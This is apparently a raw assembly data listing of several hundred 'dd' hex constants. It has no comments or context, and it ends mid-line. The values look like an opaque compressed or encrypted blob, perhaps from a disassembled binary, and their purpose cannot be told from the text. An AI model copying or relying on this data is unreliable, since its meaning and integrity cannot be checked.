0B00E4C9h dd 3EF1F963h, 0D15D00D7h, 0F52CBE9h, 303D55Ah, 0FB793FE3h dd 8F841782h, 487100C3h, 94EBDE20h, 607F5CB0h, 80D5A139h dd 0C7EB915h, 3D169684h, 0EF80D9B6h, 679B8917h, 7B009FC9h dd 0D7A82472h, 13E6E934h, 0AAD17Ah, 6E58C7E1h, 0A4F2802Fh dd 331C1200h, 4ADA9132h, 0D77F40h, 510FAE77h, 0B6892948h dd 3F787600h, 178CDE94h, 0D67404F3h, 803303C9h, 0E7158D5Ch dd 8B9C2B0Eh, 0A53BA2E5h, 579860E3h, 882300C3h, 6597522Fh dd 7A000FFCh, 0A0D45AFAh, 0BCD05Ch, 0BFAA4457h, 6FC160BEh dd 0FDB69F0Fh, 0B39A87A2h, 0A96F280h, 0EE02004Fh, 0CCD40FF6h dd 9E5C30C3h, 924C006Eh, 14FAE079h, 8DB873h, 0A49AD694h dd 0EBB9D732h, 5DB8C000h, 45FED4D2h, 75840F4Dh, 0D24761h dd 958E2618h, 71E6C71h, 380974Ah, 90CE80A4h, 68C00027h dd 2F3BD9B4h, 0C100A8AEh, 0CD9B9C5Ah, 7E06CF43h, 1057931h dd 3EEFFF33h, 0C818FC5Bh, 0EA064F83h, 3B775ADCh, 3A7DE6h dd 65475314h, 931F01B6h, 6667A901h, 738CD03Ch, 3EFE3020h dd 4680E64Fh, 0FB2C1536h, 0BF00907Dh, 83C91601h, 283258h dd 63D007E7h, 0A885FC60h, 677ED51Ch, 69E268C0h, 7A9F90h dd 92055187h, 19FE7D23h, 0BB636A0Eh, 0F50F4010h, 0C0183D37h dd 5346F6EAh, 0EF00FB16h, 434BACE1h, 1DB08E1Eh, 0C0C93501h dd 0E885860h, 6900F83Bh, 8CF01CFCh, 7AC22C38h, 0C5ECCCh dd 186E2A3Eh, 79139C3Dh, 0A0A4A92Ch, 27596401h, 40E20760h dd 0DFDFBh, 0F35C6A1Ch, 15568ECCh, 0A3925F00h, 0DD9DADE5h dd 0D4233D14h, 8CA0F480h, 0F87F9E65h, 487EFB00h, 0C0E79FADh dd 3B5F00DDh, 0FB54177h, 9C00D097h, 3F654D6Ch, 7CDB2735h dd 895005Dh, 8C994BC2h, 1600E62Ah, 0BBA3E1F8h, 1F4366h dd 0CF33214Dh, 921A9C88h, 0E0174000h, 0BCFE8DC4h, 165E0278h dd 0C280B967h, 980CC840h, 0E79EA907h, 0FC029B1h, 3C53C0F2h dd 0F4335Ah, 0DC8BB50Bh, 3AE03B70h, 0BAA348h, 804A7C8Ch dd 0FFA6DDh, 0D91C9A6Eh, 0B94BC793h, 7F275B00h, 0B8B8673h dd 514D00E0h, 1CF147F8h, 9A3A0776h, 80A0802Dh, 0BA83E3Fh dd 0F2440072h, 8D6C41C5h, 6400529Fh, 0C626E3Ch, 2C27A4h dd 6A90405Bh, 5ACD6921h, 0D8D20D00h, 0B8E7983h, 3A71F826h dd 7FE04C2h, 131A09A4h, 0EC1FA1FEh, 0FDDFC00Bh, 52D6B000h dd 0E5BC27E3h, 0D16F0399h, 481FE859h, 0F0F8EFD3h, 5401BA29h dd 695E4696h, 0FE60D9BCh, 6A4D00B0h, 0D6C01D94h, 0BD3E7E73h dd 350A0098h, 62C6F51Ah, 0DCC73053h, 0C40754Ch, 59BDE900h dd 9AE32B90h, 0B2CE0033h, 9921E06Ah, 16381D54h, 2B938339h dd 0DB79C5F4h, 252800D2h, 8D26FA81h, 0F20EC984h, 0A0F028E8h dd 0F9CD7301h, 7E15EE04h, 0E46602C0h, 19809F4Bh, 0E0ECB8E1h dd 0DA004865h, 4AC7F053h, 28C89EA2h, 0CDD031h, 0CF892F7Eh dd 0AF791AC6h, 2BA0FE00h, 45D8B175h, 9D990062h, 5EF385B3h dd 4E00013Dh, 8C8B0CFEh, 71B26Bh, 6487B1B8h, 2DB72B77h dd 0D9F5601h, 91B43433h, 0E534DE0h, 0D331DF94h, 0F057E1A0h dd 0F900AFDEh, 48D9033Ah, 810855h, 9458C865h, 2F7FAC18h dd 0CCCDE702h, 0E1AE7C90h, 0A03B24EBh, 3A02C14Fh, 64CA280Fh dd 440F4033h, 44494CB9h, 0BC99F380h, 0D22CD140h, 4E00C188h dd 0F13262F2h, 0C31E1D09h, 5AE90F70h, 0A54A6D80h, 0B31EEBE8h dd 0C5C07113h, 8FCC1101h, 0E02A0057h, 73DF0261h, 0CB00E216h dd 0AF562F37h, 0D4418Bh, 0CF25E071h, 0B299553Ch, 0F98C0100h dd 7FC9213Dh, 0CB3B00C4h, 65908F9Dh, 530066ACh, 1300898h dd 241183CAh, 24BD0B2Eh, 662C0700h, 4B0710C9h, 8B485D0Dh dd 0D13E014Dh, 2A92BCC2h, 78C760F6h, 1AFB0045h, 8BCF8E06h dd 96006754h, 701BBF3Bh, 0A9C65Ah, 9F3B9EAh, 7B7E6F81h dd 0B894B00h, 29153ADEh, 0CE062461h, 94B30069h, 0D80C7D5Bh dd 4DB71B03h, 0A8FFE179h, 5EBA495h, 0F29E559h, 0F1F4409Ch dd 9EBC36E8h, 0DC572004h, 0CB80BA69h, 0F68A1BECh, 1EC7000Bh dd 4A9A2CFBh, 5A0011B8h, 0EE02331h, 0B891A895h, 981D0504h dd 0BF14476Ch, 3040F480h, 0A52200E6h, 3A2C7FF9h, 0B30E8754h dd 602EBBD1h, 0AA75E765h, 0D41E00CFh, 4950408Fh, 61018901h dd 0E5703531h, 0D020C651h, 9C993A10h, 14D2C787h, 23119015h dd 0EC7FD8E2h, 6086AA09h, 30048168h, 64C4CB4Fh, 9EAF00D0h dd 25FD91A0h, 60B824DBh, 2833E92Eh, 8B72D640h, 0B6E70067h dd 164A98D8h, 5675B479h, 0F78ED000h, 0D7D4BCDBh, 0C7F0118h dd 0EAA8AD23h, 814CD02Ch, 0BDD39400h, 0E37886E1h, 0F1AA0043h dd 404DEE5Dh, 2C0F9BDAh, 8011A8F4h, 15D27AC1h, 26D93992h dd 4E662800h, 0F2BC202Fh, 0AB643A00h, 3297D72Eh, 0D6B05D3h dd 80D448D5h, 0B3112A88h, 7345E200h, 9C63285Eh, 40FF003Dh dd 7BD5F069h, 1000E6Bh, 0E1AAA06Ch, 0B1EF8Bh, 65F9EDFh dd 0ABD8D4E7h, 47D5A00h, 0DE6F18E0h, 88550203h, 8D142C86h dd 9038C52h, 4C1A5470h, 6BCAC8D8h, 0D7BD51B0h, 944092D5h dd 1642FCFh, 0B61CEB02h, 0D8733340h, 2D001DB8h, 1B08FD8Fh dd 0C061563Dh, 6F1128F0h, 0B100A339h, 41DC9A0h, 4EB89Eh dd 0E341AD02h, 0A24879A1h, 0A4E09724h, 3C28FA50h, 77007206h dd 15705BA4h, 9158DAA1h, 139D1793h, 0CC40CC1Ch, 2BF1176Ch dd 0C2140071h, 0F695AE72h, 8B053AD8h, 604C754Fh, 0E0332880h dd 0A7F50004h, 3CC1D969h, 18000FCCh, 0B882C3BCh, 0EFB24852h dd 18550FCh, 0FBD4BBE6h, 0E1217EDEh, 2CC3CEE4h, 0C586F7A0h dd 7C664A07h, 6D10F45Ah dd 9877ADCAh, 5B200085h, 0DBAFB0BFh, 0DC58FA88h, 5C0F0044h dd 0E599E607h, 0B76F0005h, 0EE82E75Ah, 38787116h, 3DC22100h dd 0AC4B4C02h, 9C300079h, 0EAE8BC3Eh, 0A40EC5E4h, 5CA95232h dd 0C832FFD3h, 5B4C207Bh, 0D8003D48h, 7F4EEF34h, 2E9799F1h dd 3AFCB3DFh, 0F500893Bh, 0CAC83928h, 0C700B4FFh, 0F7BE3CC3h dd 4ABAF9h, 875C69EBh, 7BD34704h, 0F1918509h, 96440034h dd 7DD437DDh, 0D95907CBh, 20E9FC35h, 477B5B60h, 933F2400h dd 848CEA9Ah, 490700DCh, 0CBF53856h, 330078A3h, 3C889B5Bh dd 3A53EB41h, 0CCDC9434h, 0D9907203h, 5000C480h, 1D09EDC2h dd 2738614h, 62175F32h, 0D9C0B4EEh, 0B23DDE55h, 8007BFF7h dd 18D5DFE1h, 362E0CEh, 4A784576h, 0FFA92D1Ah, 71C4D923h dd 88D9C87Ch, 9F71CEFAh, 807D6D3Ah, 55CDD8C1h, 2678FD8Dh dd 21053DDh, 0D3235CEAh, 0A0F944C0h, 7A623F02h, 63DF40B0h dd 0D2BA93E8h, 45F287A2h, 4789A130h, 34BD02E4h, 1B74FF0Bh dd 7E7850E0h, 0E701A271h, 5053CC41h, 89CC63B4h, 0A72D00C2h dd 0B8D93D2Ch, 7D3A73FAh, 40BE80EAh, 6D0A4C36h, 34F301A6h dd 88D1A7FFh, 3873F89Ah, 33FD1413h, 8AC0F800h, 7A25C6h dd 0A285F083h, 0CCB85BF2h, 4F742009h, 0C0682084h, 8DF950h dd 0E754C9B2h, 3B94E1AFh, 7200DB78h, 0BE6699B4h, 604E15h dd 0E3650D8Eh, 36879741h, 80CA6F38h, 76C54D11h, 17E789h dd 0FF6A8E6Bh, 0CCA871F5h, 6F8F8200h, 6C2E9AA3h, 4E720059h dd 2DED03B8h, 0E1759160h, 93A4D050h, 0CC7A9700h, 0A76D163Ah dd 7553901Bh, 3BA400FBh, 19A310C7h, 7B006A37h, 698FD855h dd 74BF80FCh, 0E95B8C2h, 10580C98h, 0D5CBD063h, 0E4883DCBh dd 1C0072FBh, 0D8475312h, 90ED1Eh, 4C0CEEB3h, 82712859h dd 331C1700h, 75B15345h, 3C100E8h, 7CE647BDh, 0BA00C06Ch dd 2BFCE1ADh, 0B63B64F8h, 0BF4B006Ch, 26ECFA4Fh, 504CDCB0h dd 0C43F0Ah, 0E43953F1h, 2331B25h, 4B879575h, 7C40073Ch dd 0CE00ED1Dh, 948ADFC8h, 0F3C574h, 258145EBh, 0D89CC0E9h dd 82B8A900h, 0D4107075h, 0BADB1C30h, 5BEEC06Ch, 58B5491Fh dd 680260B8h, 0D4CD328Eh, 0CC14E04Ch, 0B3E55CC4h, 4809A800h dd 47E81227h, 43AAF200h, 6E9FE11Dh, 0D8994CAFh, 0D2188F00h dd 0B63EC4B5h, 9D297F00h, 3D53D602h, 67AEC4D4h, 0EF6C80DDh dd 0B6074A71h, 99A24CA9h, 0BA266ED1h, 0CA17FF8h, 51313FD1h dd 0EF078DB2h, 0D39E1B47h, 9746A00Eh, 160D4Ah, 6D7D28FEh dd 36BB71C2h, 17B56200h, 0C088F6B6h, 0CB8F0030h, 8EA7C57Ch dd 600321Ah, 0D1FA3F4Eh, 0CF6752h, 14868D2Eh, 0A77B9141h dd 5ACA3600h, 0ABD3AD89h, 14E00B1h, 84F4929Eh, 1B0088C0h dd 738F4C4Ah, 721CFD45h, 6197E3Ah, 0F74F0C16h, 373F32A7h dd 0A376131Bh, 0FE18E800h, 152F653h, 1DB4A020h, 315BBFC1h dd 866BF444h, 17BBA900h, 0A784F9C9h, 0E9411CA0h, 2E4EC06Dh dd 0D9FDBD22h, 76512000h, 58CBC7C4h, 9EE2000Ah, 0FC6BCC69h dd 0D9A02C8Ch, 0AF0CC95Ch, 0B81DB65Eh, 0D24A07D0h, 374D90D3h dd 4623E041h, 753A7912h, 8092BA11h, 26918E28h, 26322DBh dd 0CAA950B0h, 0F560E3B7h, 2D00A77Dh, 675FD01h, 9027FBB3h dd 0D87000B1h, 4203FCAh, 6E2E58B4h, 0FA009E02h, 5E14DD53h dd 2CF301D7h, 0FCDC7AE8h, 511A30CAh, 68D33F02h, 0CB703B7Dh dd 0AA27C048h, 0A2D800D7h, 8C15B651h, 1A1217FDh, 14001804h dd 94E5F3BBh, 0F9B900C1h, 3D20FCFh, 807B9748h, 3E727A05h dd 768071C0h, 215646Fh, 5BDB2939h, 60E16D4Dh, 4432D86Ah dd 879A4500h, 67AF70F7h, 4CC11E61h, 0F1F3C7DEh, 16E650CEh dd 7003834h, 96D159A9h, 0EAC08F6h, 0EAF3108Fh, 0B8C9E940h dd 0A50B2523h, 2529FB5h, 8109DF6Eh, 312782F4h, 167301D0h dd 0C8221Ah, 8BFAB1E4h, 629834A6h, 2C0045E4h, 86A7DD5h dd 30F0EE95h, 42DA1E2Bh, 180FE6F2h, 24F51A87h, 78C837FDh dd 0F7E6B7h, 0B9D91D03h, 6A55EBFCh, 0A8650C00h, 31E4DD26h dd 0E8B126DFh, 56581C70h, 8DDC04ACh, 0E41080EDh, 0BF12D922h dd 0D401C68Fh, 0D3714FAEh, 0B200886Ch, 0D21C26E1h, 0D7002E1Fh dd 0B69A56DAh, 14CF541Bh, 9567A749h, 647326h, 0C770411Ah dd 0FF09218Ch, 8750EB79h, 3120E239h, 145AF8Bh, 8C19DC9Eh dd 0C47B2253h, 0A601B85Eh, 172F031Fh, 7E1D3Dh, 368BE7A0h dd 0FD137A3Ah, 844091C2h, 79287D9Eh, 9F7B00D7h, 8DED49C5h dd 2700A297h, 0DDF75E3Bh, 9EE0181h, 5911BAFCh, 49DE0C00h dd 190195B4h, 7F13E541h, 0CAED6D87h, 7BB35E8h, 0D7D2FBE6h dd 688966A6h, 0D6B1520Eh, 294E2056h, 5C8F2h, 0DC761681h dd 0C41F31E6h, 0BCA42839h, 625D0037h, 0D9E9A84Bh, 704A0075h dd 200B88F1h, 0ED01BB77h, 8980176h, 54DC65C4h, 2BA013Fh dd 0F64847E1h, 567820A1h, 0EC20360Fh, 160E670Bh, 8877220h dd 4F1B0E59h, 12C08D6Eh, 43E0D65Dh, 4EA9C800h, 0D8F98499h dd 77A8EA26h, 9EC70059h, 5D041E5Ah, 131EB6DAh, 0E440D84Eh dd 6BBD8EA0h, 0BB793CFBh, 192CAD80h, 3B966FABh, 41812807h dd 808BC1DBh, 0DF5BF10Bh, 645C1229h, 201800B1h, 0EEE64FABh dd 985ABD90h, 0B6E71800h, 39BFA169h, 0F4C5D6h, 8250555Fh dd 4DCF5A0Dh, 4784E50Fh, 0C492773h, 0CCAC0B60h, 5ECB162Ch dd 0D1E00035h, 5B966C62h, 2B66F800h, 55B7B6A4h, 328F00F9h dd 5020A5CCh, 7E04FA96h, 91F88677h, 224F5C80h, 0D91E00B3h dd 4AA5159Eh, 0AA070954h, 0D64D3A68h, 3510B847h, 4B6CC012h dd 87B01E98h, 566DBE7Eh, 0A70010C4h, 400D4D32h, 3E56BD8Ch dd 5C80444Ah, 9E5FB155h, 0E7034764h, 0D187C172h, 17E298BDh dd 2AD2002Dh, 79C27DDBh, 23E8BE4Ah, 701CE42Dh, 559204B1h dd 0E07D2604h, 7C2E3F6Ch, 3BCDCE9h, 0DD296711h, 2CAED1A1h dd 0DE98E0h, 229F60A6h, 38F61A47h, 34243100h, 0EB42DA74h dd 2DA6002Ah, 1DF0A9FFh, 6548579Eh, 0A8FD009Ah, 602E64A3h dd 0C9D701D9h, 3C877958h, 0DC443099h, 7F0BE58h, 0BFDE3E1Dh dd 73A9C460h, 443031Eh, 9379F296h, 80928795h, 9F8CD112h dd 10E7600h, 0B4C9A6E5h, 701E7097h, 27983FB8h, 4DC3928h dd 0E5241735h, 2D44C899h, 0F86C512Ch, 0DD5DD79Ch, 0E88054D7h dd 3E325Eh, 6A875545h, 0B92721F4h, 0A89B4D3Fh, 0B4038CEDh dd 3F452CFDh, 0D55AC0E8h, 310D001Ah, 15A61DCAh, 5858B2EBh dd 0E65D0A60h, 9F01B830h, 0D89BD783h, 0BD00B82Ch, 0DF47F380h dd 0E90EC045h, 0A01D8103h, 9DC6216Fh, 83440E38h, 0BCFCD90h dd 9BCA68A0h, 357EBAD6h, 59F36700h, 0F06D05BEh, 41980010h dd 1CB1F531h, 0AA05F7CAh, 0E567A302h, 0F43888D0h, 3DC35CD9h dd 0B7CC16h, 2634D7F4h, 5F006454h, 0C0425552h, 0E0E4C5h dd 0FC088512h, 0A853671Ah, 620E2C02h, 8088EDE6h, 0FAAD97F9h dd 1CDC484Eh, 3AD6B600h, 5046340Ch, 40B7BF06h, 740B323h dd 0BAA54CB9h, 0C20F4032h, 414C2955h, 595000A4h, 0E652B946h dd 9492F6h, 0C6FF9749h, 1295C38h, 0FDC2421Dh, 0DE7CF707h dd 40460992h, 0A6EBAAh, 320F14B1h, 0CAE41783h, 8A95AC00h dd 279B5AFDh, 934F00D5h, 0F97BE255h, 0CA007481h, 6B3E2E63h dd 1BD5292h, 9FEF5610h, 0D04604CBh, 1D00692Ch, 0B911A23h dd 4BD57D1h, 0D3F4E0B8h, 0C2408C32h, 0E24B9500h, 0A08A163Bh dd 9CCD487Fh, 7730490Eh dd 57CC7EA0h, 69134CD3h, 0C4085E6h, 0E21BAC63h, 30E00F5h dd 0C262BA92h, 0A300D645h, 8CDBBC43h, 1E9F363Bh, 4BB34441h dd 5080E199h, 45A11E30h, 12CF39h, 562341Ah, 299E3DAh, 2B6C6FC9h dd 0A0E6922Dh, 0C04D3100h, 0FC418596h, 9DC80952h, 404B347h dd 73489C5Bh, 501FC300h, 2F853FF7h, 347D006Ah, 52131D2Eh dd 3859312Ah, 786300B0h, 9F989A70h, 0EDC006FAh, 59D0E74Fh dd 23AEC207h, 6E525388h, 605A62A0h, 0CF9C724h, 0DD034689h dd 81004A49h, 0C6C1C342h, 785B23h, 193A4C7Ah, 2657B733h dd 0BDC5FD00h, 3D6B877Dh, 24819546h, 0E306A1AAh, 0E4E9F7F0h dd 10404D02h, 8045521Eh, 0D012A2F3h, 1D4A0F9Ah, 0AFE0A1F2h dd 0CA9092A8h, 0E0A5800h, 464D53CDh, 7C874C7Ah, 0DFD90500h dd 367BF144h, 0A4F5809h, 0BD7700E0h, 26079A76h, 768D5h dd 61B5FFE7h, 6300FA77h, 0D21D1BFCh, 17BEDB22h, 38C803h dd 9A2ACC34h, 82006704h, 78175DB4h, 0FC687F20h, 588EECBCh dd 88008E23h, 0A8DBF2EAh, 7424018Bh, 690020C5h, 12D697D3h dd 0F59405C8h, 0C782A33Dh, 634A8035h, 7E0092B8h, 2DAF6F97h dd 2C4766h, 0AEA76C68h, 0E9C15098h, 9B86C500h, 0CA7D90BBh dd 0B0760202h, 653F3E46h, 0BFA9FC80h, 0C4A007F1h, 0A712AF45h dd 28003927h, 0BBB0DDC4h, 0E02F012Ch, 0FE80A583h, 0D14B6070h dd 4425C8B8h, 0A918003Bh, 1D2A5639h, 803E6DBBh, 335E8D7Eh dd 1801E190h, 0EE122B36h, 463005F1h, 74150382h, 7E9A0119h dd 48298BD0h, 0A1A29800h, 151B2BF5h, 7C5625C2h, 0AC8C20C0h dd 6646D100h, 53116C9h, 36E50052h, 88759989h, 0A43B22B6h dd 186E30D7h, 0C6AFE0h, 70545D6Dh, 0D457D671h, 5BC58D1Ch dd 6F8E9E80h, 2B5D0D9h, 18C0E789h, 9CE07A58h, 92592E0Ch dd 61961CD0h, 0C9B2F340h, 0EBA4A68h, 6E8F9CC5h, 0F8652140h dd 38007014h, 743E766h, 79763BDAh, 0F57C0394h, 3487E27Bh dd 4A72CBC0h, 74332103h, 0D83FB153h, 12AF31h, 9B988DA2h dd 0EF85DFE8h, 0B089905h, 0CF833496h, 0E0D3C27Eh, 50BC04h dd 58743212h, 716D6E61h, 8C31CC28h, 2C0995Ch, 0EED07768h dd 4A2850DDh, 40441218h, 0E67A3AC8h, 711399F3h, 0B70014A9h dd 0D9CB7DFBh, 9FDD1F63h, 5244C042h, 4A5C3DD8h, 7C082F00h dd 0E247599Ah, 2E0900CCh, 85980E6Eh, 440B17EEh, 87536312h dd 0B76045E9h, 5CADA9AFh, 0FD13DA1Ah, 0DFD30FC3h, 57807F6Bh dd 3D0CD343h, 531F4D00h, 0B428B240h, 0D46F0B06h, 1781748Ch dd 0C883B9A3h, 0DD00A19Dh, 0D8A8E379h, 0C2BF6Ch, 112E85Fh dd 0E590A440h, 41567607h, 0DB5367EDh, 32888030h, 0D86400C4h dd 0CCDCBEA7h, 29009A7Eh, 4AA19ECFh, 3E9BB02Ch, 0C2805553h dd 316EF0ECh, 0BD02FC28h, 77C39A59h, 0B8EF4024h, 0CBBC00EDh dd 6C0555EEh, 0D41EB5C2h, 0EC1190Dh, 5E202E0Ah, 0AFE030h dd 1C2F4CEFh, 4B8A3566h, 86E0C71Ch, 80BAED00h, 475B44h dd 89057D1Dh, 0A4CA4677h, 0DCB41626h, 0B487BF50h, 6CC904A8h dd 0E48A87Fh, 0BCC40AEh, 0D35182F4h, 7CF8A2h, 0B40A6360h dd 57CD938h, 720095E8h, 3F939B55h, 2C9D4416h, 30B7601Dh dd 9A350A38h, 0FD2CED00h, 8CA98E86h, 2C747BC2h, 0C32E7Ch dd 400CF826h, 0B82D9E1Eh, 0B9B0B853h, 0EB820021h, 5F4AE2C0h dd 460045BAh, 5EBFC929h, 309BAC26h, 53566F8Fh, 1400C7FAh dd 0D80A799Ch, 71968BCh, 0CE01554Bh, 5FC9C049h, 0C107EFD7h dd 893F53F4h, 20EEA900h, 5D2000Bh, 54BEA166h, 2503467h dd 5207D6E8h, 320DE062h, 0F03D5351h, 371D7068h, 3B41AC90h dd 0C3F4F8h, 0DA652DFFh, 0B658F313h, 52F82A7Eh, 80D7FB3Ch dd 0F719D1A4h, 48FC62CDh, 0CE3C21ACh, 3D0027BAh, 20950EDDh dd 13009DCBh, 153BF979h, 561E4Ch, 0C151CCFFh, 8D767AB2h dd 4A0B6200h, 8ECE9448h, 30835FCBh, 57BECC00h, 0D07D2300h dd 28AD8976h, 85CF0021h, 0BDF1B642h, 9000F3FDh, 0F06D9C9h dd 198D638h, 10F8B09Eh, 409BA27Fh, 73C551E4h, 896C293Bh dd 0B496B45h, 7E1E0080h, 714867B2h, 125301B9h, 0A5B1D14Ah dd 9787D00Dh, 7B9E8000h, 0A93BA12Fh, 8A6A00D9h, 21649B82h dd 8F0048C6h, 41103334h, 83A9BAh, 6F231B80h, 6D451A77h dd 6947300h, 767011ACh, 75D81EC6h, 141500B5h, 5D1E23FDh dd 0AE4F8300h, 65B6690Ah, 0EA6F004Bh, 39F96803h, 5700A5EEh dd 46B818F6h, 0E56AC85h, 9F5C8605h, 0AAB00B60h, 7800B5B3h dd 0CDAE175Bh, 392E08A4h, 912ECBEAh, 0A6D100D1h, 0BFCA4934h dd 5AC1AB00h, 0E87BB5Dh, 1CC20073h, 0BDCE8314h, 847E1EEEh dd 0D1FA11C0h, 602C37h, 0B411777Ah, 0E80AF085h, 1E63C100h dd 0B9AB271Ah, 25EF00E7h, 4A64CF87h, 0DD009178h, 0C5077F7Dh dd 0F624C604h, 0E8B5016Ah, 0E98F2367h, 434FD8D2h, 0D82B0C00h dd 48541FBAh, 87F3A1C7h, 77AAFEF0h, 0AB6A0037h, 0A4442393h dd 9800E0DFh, 269C5D30h, 8B9F33h, 0B660373Ah, 2E8AF471h dd 5FA1709h, 1611004Ch, 1E4F9245h, 804640ADh, 0A3D11FF7h dd 0A700E4A4h, 25E6DBEDh, 0B96A78h, 0D892154Ah, 0A0F02E60h dd 86CA1002h, 0C17C7629h, 7030B9E9h, 0B9D0FD3h, 6DA03F46h dd 4159D937h, 6EDFCA16h, 39D87C40h, 12E3F854h, 0F1807DE8h dd 25DAE0FCh, 0B705457Dh, 0E3042AABh, 90C3DE83h, 13500A22h dd 0E2E94h, 0B1BC854Fh, 0BB00A0D1h, 0B44D7280h, 4FEC1FD3h dd 0FB5C802Eh, 7167CF1Ah, 0C1505570h, 0B29A975h, 5663E1C2h dd 49A7AB00h, 0AC0680BCh, 0B2AFF42Eh, 36F93C31h, 0F5B5CE81h dd 0DB2AA401h, 487EBD92h, 0ECD81201h, 1840B0F4h, 0CD90424h dd 0C89F9BCCh, 0FA203081h, 7AC504DFh, 0D0153DEEh, 2B11D78h dd 0FCEA248h, 7B9B1739h, 0E5590338h, 538BA1CFh, 15794900h dd 0D1CB10C5h, 0A91216ACh, 99D4075Eh, 0AA9DF4DCh, 0B7C00BC0h dd 6ABD00DDh, 845BCAE3h, 8E00AA2Ah, 302B5935h, 439382h dd 0D3F01DE5h, 4CA67D75h, 8808D61Ch, 55F2A400h, 74696h dd 20322FF3h, 5E0AB5D2h, 0C68FB00h, 1D1F1774h, 4BC00037h dd 7E16A9CCh, 0E628B05Dh, 8D72C1E3h, 0BB941B07h, 942EA10Dh dd 834800F4h, 0A0EE50D9h, 36B40ECCh, 7289670Bh, 22610420h dd 0D900436Dh, 87DAD2B0h, 21760h, 0A854F12Ch, 27AF4872h dd 884E952Ah, 186CF30Ch, 5F186Eh, 69C84138h, 103E38Fh dd 0B4A59E16h, 4C6E70A4h, 98058F60h, 5FAF62BDh, 781F00C0h dd 826A6956h, 0FEBCD500h, 6EAF4B14h, 0B1BB0CB0h, 8130CB54h dd 2961800h, 0AD2D93F1h, 340300D0h, 2C8C79D7h, 0A500D26Dh dd 4D925AF3h, 104B59Bh, 0EAD856DEh, 0F4824084h, 0ED13ECCCh dd 0BB005E99h, 152C785Ch, 9F961C79h, 7FB1803Dh, 0BB389B77h dd 180035F0h, 84C039C7h, 26259Dh, 0C6D94D49h, 22445C3h dd 39BB2D00h, 8A2F3E92h, 69B00757h, 9FF42BD2h, 0A7D11DA0h dd 0D700F83Fh, 70DC8CB3h, 1C65DAB8h, 87F42F2Dh, 0B0BD43B4h dd 6B722EE8h, 0E613A801h, 3B087FD6h, 0FE955F4h, 61837743h dd 0F2149E20h, 0D818A0E1h, 8990224Bh, 5B0A0E30h, 0ACC0F3B2h dd 61AB4451h, 351C6C00h, 0DEA59345h, 25B00317h, 0F8D599FCh dd 0D1CC96E0h, 0F7CBE204h, 8C804E14h, 38BE623Dh, 2D836E4Bh dd 45387051h, 0B5FA0CC8h, 0E60AF61h, 2C40271Ch, 84E4216h dd 0D655FC22h, 0B898F941h, 42AA14CCh, 1B670869h, 36C40865h dd 8C302941h dd 6189002h, 0D14D40DFh, 41089242h, 761CB03Ch, 8B17BB91h dd 51C3025Ah, 2C844BB8h, 58E4C6FDh, 1F951421h, 0AD6C220Ah dd 77ED5940h, 88728064h, 68C058A2h, 510C3002h, 590B5C2Ch dd 0B12A647Dh, 742F4388h, 7ABE9B4Bh, 3B810050h, 0E76C3A60h dd 0F7022D54h, 12826483h, 0CD8157CEh, 0D8B3D625h, 0B50F3A61h dd 0E3AB04F9h, 1D630CA4h, 9EAE3D68h, 0F61A0047h, 0DC89FC45h dd 62DE8100h, 0AF2A129Ch, 227200F7h, 1FFFCA4Bh, 81008FDDh dd 7E4AE1A2h, 70A8928h, 34BEDE2Fh, 876E20F8h, 9B301331h dd 8D35E0FFh, 556C0089h, 8EB99FEDh, 72006879h, 5CC72501h dd 123DD163h, 795B12Eh, 664C5218h, 5163F003h, 0F8E6BEF9h dd 248AC716h, 0BE2C8B78h, 504D5800h, 2BD7304h, 0FAFC0800h dd 9209C846h, 8CF03DB3h, 5B1E3300h, 0D50F4730h, 0DBB54505h dd 0F1C1F5EBh, 0E451ABA4h, 0D1E41B3Dh, 0BF120043h, 0F92F0FC5h dd 7E50A953h, 100CF94h, 0C207E3F4h, 7A2EB4Fh, 6E3CE7A7h dd 5B4A15Ah, 0A0B0FBC8h, 4189E0Eh, 1510C5A6h, 8487509Ah dd 0CE7039h, 0B58D3738h, 99162555h, 95BF1A00h, 3B52D2E6h dd 0C64500CAh, 549BD5D7h, 8C40EC2Eh, 3C4D1B63h, 46F3A840h dd 0CC9B25B0h, 0E4B0BD51h, 0E4F2B6ADh, 0FC129100h, 3F72BE13h dd 0CB8134D1h, 7709C1C1h, 0E85E052h, 649EFF0Eh, 9A61239Ch dd 5C10D04Ah, 358116CFh, 3AF60058h, 7287557Dh, 92603E04h dd 24805E8Dh, 784F35h, 52EEF466h, 4BC28033h, 0FADD573Dh dd 7E925005h, 0B680977Ch, 1CB5688h, 9F1412D0h, 0E8390BCCh dd 66008483h, 0D3DDC6F8h, 303B753Fh, 7B788DAFh, 134C3EA8h dd 29500035h, 65E97A9Ch, 5EA330DAh, 5C612A30h, 4FDF3Bh dd 0A911ACB1h, 0C294AB3h, 0EE44677Dh, 0AF032D48h, 31A540F6h dd 41F5B87Ah, 162E01DCh, 3C73525Bh, 6A36E42Ch, 0D4811727h dd 0E64500AAh, 0D518E4EAh, 641EBD00h, 924BAF5Fh, 658B0046h dd 9E5B4F5h, 0A1C51DBh, 0E1C0DD74h, 3AA3D3A8h, 85363804h dd 1916450Eh, 10DB9500h, 2FA2371h, 1710FE60h, 0BCEAE63h dd 0AFFCF3A4h, 85BACA00h, 45002668h, 0D5666223h, 4D5908h dd 0FF53C82Bh, 139E56BBh, 7AC1B205h, 13C011C4h, 77C628E0h dd 0CA9A7A61h, 5C045310h, 4D73F1Fh, 8ABD00FEh, 0C7FDDE77h dd 15190048h, 0BC2D9137h, 551D69B6h, 0ECC194F6h, 8CB1A1ACh dd 72642880h, 54FA3723h, 8077BE3Ah, 86B81E26h, 78C1ABA7h dd 7998E7h, 82464E8Dh, 37BEB413h, 0C36AE01h, 255EC2B0h dd 90325620h, 0D11601D5h, 0F7F0512Ah, 8D451Ch, 76E6611Eh dd 0CF1C2127h, 328A8D65h, 170081B1h, 58426493h, 14FF276h dd 0B2C6EB88h, 7029F0FAh, 0E00A7ACh, 42CC1E02h, 481F84h dd 86C2AB61h, 0B603CAA1h, 1A76F500h, 0F870E5C9h, 269000E9h dd 5973CB27h, 0C300AE49h, 0B1FC147Ch, 748F256h, 0AC314D57h dd 4865021h, 3F008526h, 152E249Bh, 9A5201h, 2166E22Bh dd 57454FD1h, 8EF6183Ch, 2398A1D7h, 0E9021150h, 0B08081E4h dd 0A9DB80Ch, 62003B0Bh, 88E87D09h, 1B5874Eh, 0D26A1BB7h dd 70E06D56h, 351DFC54h, 0EFC0C3B4h, 7CE5F43Dh, 5445005Eh dd 0D919A56Eh, 7D00B8A2h, 152F32EAh, 2A4686Ch, 0EDA8CE5Ch dd 9AC02B0Fh, 23000CD1h, 96EEC4B8h, 0F548934Bh, 0CCDF87D1h dd 